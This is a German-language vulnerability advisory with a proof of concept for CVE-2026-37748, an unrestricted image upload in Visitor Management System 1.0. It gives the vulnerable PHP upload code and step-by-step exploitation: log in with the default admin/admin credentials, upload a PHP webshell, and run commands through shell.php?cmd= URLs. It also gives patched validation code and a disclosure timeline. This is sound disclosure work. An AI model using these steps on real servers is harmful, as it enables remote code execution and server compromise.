
Proof-of-Concept-Exploit für CVE-2026-37748, eine Schwachstelle mit uneingeschränktem Datei-Upload im Visitor Management System 1.0, die über den Upload einer PHP-Webshell zu Remote-Code-Ausführung führt.
| Feld | Info |
|---|
| CVE-ID | CVE-2026-37748 |
| Typ | Unbeschränkter Datei-Upload → Remote Code Execution |
| Schweregrad | Hoch (CVSSv3: 7.2) |
| Anbieter | sanjay1313 |
| Produkt | Visitor Management System |
| Version | 1.0 |
| Entdecker | Varad AP Mene |
| Datum | 2026-04-16 |
| CWE | CWE-434 |
Eine kritische Schwachstelle für unbeschränkten Datei-Upload besteht in Visitor Management System 1.0 von sanjay1313. Die Funktion move_uploaded_file() in vms/php/admin_user_insert.php und vms/php/update_1.php wird ohne jegliche Validierung von MIME-Typ, Dateierweiterung oder Inhalt aufgerufen. Ein authentifizierter Administrator kann über das Bild-Upload-Feld eine PHP-Webshell hochladen und Remote Code Execution auf dem Server erreichen, indem er die hochgeladene Datei direkt über eine URL aufruft.
CVE-ID: CVE-2026-37748 CWE: CWE-434 — Unbeschränkter Upload einer Datei mit gefährlichem Typ CVSSv3: 7.2 Hoch (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Visitor Management System 1.0 ist eine PHP/MySQL-Webanwendung von sanjay1313 auf GitHub, die zur Verwaltung von Besucherdatensätzen in Organisationen verwendet wird.
Anbieter-URL: https://github.com/sanjay1313/Visitor-Management-System
vms/php/admin_user_insert.php vms/php/update_1.php
$image = $_FILES['image']['name'];
$tmp = $_FILES['image']['tmp_name'];
move_uploaded_file($tmp, "../images/" . $image);
Keine Validierung von Dateierweiterung, MIME-Typ oder Inhalt.
Schritt 1 — Webshell-Datei shell.php erstellen:
Schritt 2 — Im Admin-Panel anmelden: http://target/vms/ Benutzername: admin Passwort: admin
Schritt 3 — shell.php als Profilbild hochladen: Navigieren Sie zu Admin Users → Add New Admin Laden Sie shell.php als Profilfoto hoch
Schritt 4 — Befehle ausführen: http://target/vms/images/shell.php?cmd=id http://target/vms/images/shell.php?cmd=whoami
// 1. Dateierweiterung validieren
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die("Invalid file type");
}
// 2. MIME-Typ validieren
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['image']['tmp_name']);
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime)) {
die("Invalid MIME type");
}
// 3. Datei auf dem Server umbenennen
$new_name = uniqid() . '.' . $ext;
move_uploaded_file($_FILES['image']['tmp_name'], "../images/" . $new_name);
| Datum | Ereignis |
|---|---|
| 2026-03-15 | Schwachstelle entdeckt |
| 2026-03-15 | An MITRE gemeldet |
| 2026-04-02 | CVE-2026-37748 zugewiesen |
| 2026-04-16 | Öffentliche Offenlegung |
| 2026-04-16 | MITRE über die Veröffentlichung informiert |
| 2026-04-17 | Anbieter über GitHub Issues benachrichtigt |
Varad Arachana Prashant Mene